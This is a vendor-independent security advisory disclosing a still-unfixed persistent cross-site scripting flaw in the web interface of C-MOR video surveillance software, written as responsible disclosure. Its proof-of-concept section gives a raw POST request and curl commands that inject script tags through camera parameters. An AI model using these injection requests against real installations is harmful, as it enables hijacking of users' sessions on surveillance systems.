C-MOR Video Surveillance 5.2401 / 6.00PL01 Cross Site Scripting

`Advisory ID: SYSS-2024-021  
Product: C-MOR Video Surveillance  
Manufacturer: za-internet GmbH  
Affected Version(s): 5.2401, 6.00PL01  
Tested Version(s): 5.2401, 6.00PL01  
Vulnerability Type: Persistent Cross-Site Scripting (CWE-79)  
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2024-04-05  
Solution Date: -  
Public Disclosure: 2024-09-04  
CVE Reference: CVE-2024-45177  
Authors of Advisory: Chris Beiter, Frederik Beimgraben,  
and Matthias Deeg  
  
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Overview:  
  
The software product C-MOR is an IP video surveillance system.  
  
The manufacturer describes the product as follows:  
  
"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]  
  
Due to improper input validation, the C-MOR web interface is vulnerable  
to persistent cross-site scripting attacks.  
  
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Vulnerability Details:  
  
By analyzing the C-MOR web interface, it was found that the camera  
configuration is vulnerable to a persistent cross-site scripting attack  
due to insufficient user input validation.  
  
This kind of attack enables an attacker to persistently store attack  
vectors in form of arbitrary code, for instance JavaScript code, in the  
web application database, which may be executed in the context of other  
users.  
  
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Proof of Concept (PoC):  
  
An authenticated user can set the location of a camera. If valid  
JavaScript code is used as location value, this code will be  
persistently stored in the web application database.  
  
The injected JavaScript code is served to users and executed in their  
web browser's context when using different functionality of the C-MOR  
web interface, for instance camera settings via "show-movies.plm" or  
system administration via "systemadministration.plm".  
  
The following HTTPS POST request illustrates storing an attack vector  
via the parameter "location":  
  
POST /changelocation.pml HTTP/1.1  
Host: <HOST>  
Authorization: Basic <CREDENTIALS>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 81  
  
location=location%3Cscript%3Ealert%28%22SySS+XSS%21%22%29%3C%2Fscript%3E&cam=cam1  
  
  
An excerpt of the resulting HTML source code containing the injected  
JavaScript code is shown below:  
  
(...)  
<input type=submit value="Aufzeichnung aktivieren" class="link_button2">   
location<script>alert("SySS XSS!")</script><br>  
(...)  
  
This PoC attack can be performed using the following curl command:  
  
curl -X POST -d 'location=location<script>alert("SySS   
XSS!")</script>&cam=cam1' --user "<USERNAME>:<PASSWORD>" --insecure   
--ciphers 'DEFAULT:!DH' https://<HOST>/changelocation.pml  
  
  
In version 6.00PL01, persistent cross-site scripting vulnerabilties have  
not been fixed completely. For example, the following attack vector can  
successfully store attacker-controlled JavaScript code in the logs:  
  
curl -X POST \  
-d 'cam=</textarea><script>alert("Hello from   
XSS")</script><textarea>&days=1100' \  
--user "<USERNAME>:<PASSWORD>" \  
--insecure \  
--ciphers 'DEFAULT:!DH' \  
https://<HOST>/show-movies.pml  
  
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Solution:  
  
The described security vulnerability has not been fixed entirely in the  
newly released software version 6.00PL01.  
  
There is no fix for this security issue.  
  
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Disclosure Timeline:  
  
2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
timeline; public release of all security advisories  
scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
Video Surveillance version 6; response with planned  
release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory  
  
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References:  
  
[1] Product website for C-MOR Video Surveillance  
https://www.c-mor.com/  
[2] SySS Security Advisory SYSS-2024-021  
  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-021.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Chris Beiter, Frederik  
Beimgraben.  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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